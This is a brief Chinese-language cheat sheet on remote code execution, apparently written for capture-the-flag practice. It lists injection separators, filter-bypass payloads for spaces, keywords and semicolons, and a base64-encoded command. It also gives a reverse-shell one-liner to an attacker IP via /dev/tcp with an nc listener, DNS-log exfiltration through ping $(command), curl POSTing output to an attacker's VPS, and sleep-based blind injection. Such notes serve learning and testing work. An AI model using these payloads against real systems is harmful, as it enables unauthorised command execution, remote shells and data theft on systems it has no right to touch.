RCE远程代码执行
RCE远程代码执行
一、RCE能做到什么:
1、执行系统命令 2、记录用户输入 3、控制键盘鼠标 4、任意上传下载 5、截屏
二、RCE产生原因:
1、服务器上有木马
2、脆弱服务未授权
3、通过数据库写木马
4、文件上传/文件包含
5、危险函数(eval,assert,system,shell_exec,exec,file_put_contents)
6、命令执行
7、反序列化
三、RCE远程代码执行关键点:
1、RCE黑名单过滤:
linux执行命令特殊字符:(;分割命令)(&&在前一个命令执行成功的前提下执行后面命令)(||前一个命令执行失败的前提下执行后面命令)(|将前面命令执行的结果作为输入,输入到后面命令中执行)(``将命令执行结果作为命令再次执行)($()和前一个一样)
过滤空格后可使用<向命令传入参数,${IFS}为空格,%0a为分号转译
cat绕过可使用tac more less head tac tail nl od(二进制查看) vi vim sort uniq
绕过空格用%09 <> ${IFS} $IFS$9 {cat,fl*} %20
flag绕过可使用通配符f*
2、RCE无回显:
(1)、反弹shell:攻击端监听一个端口如:2333
攻击端使用:
nc -lvp 监听的端口
受害端使用如下命令生成一个反弹shell:
bash -i >& /dev/tcp/攻击端IP/攻击端监听端口 0>&1
在攻击端终端即可在受害端中执行命令
(2)、dnslog:通过ping $(命令).域名 通过这种方式获取命令执行结果
(3)、写文件:将命令执行结果写入到文件中,使用echo命令:
echo "写入内容">test.txt
(4)、curl等网络命令:通过POST等方式直接给到个人私有VPS中
curl -d "key1=value1&key2=value2&key3=value3" protocol://ip:port/path
3、RCE后发现不出网
(1)、写文件
(2)、命令盲注:命令||sleep 100
(3)、隐蔽信道
4、字符绕过
(1)、
使用''或""隔断字符串
(2)、空格可使用:<,<>,${IFS},$IFS,%20(space),%09(tab),$IFS$9,$IFS$1 替换
(3)、分号可使用:%0a,%0d,%0D,%0A 替换
(4)、使用base64编码:Y2F0IGZsYWcucGhw|base64,将其中内容解码后执行
(5)、使用`反引号包裹命令,将其中内容作为前一命令的输入
5、可用于执行系统命令的函数
exec()、passthru()、system()、shell_exec()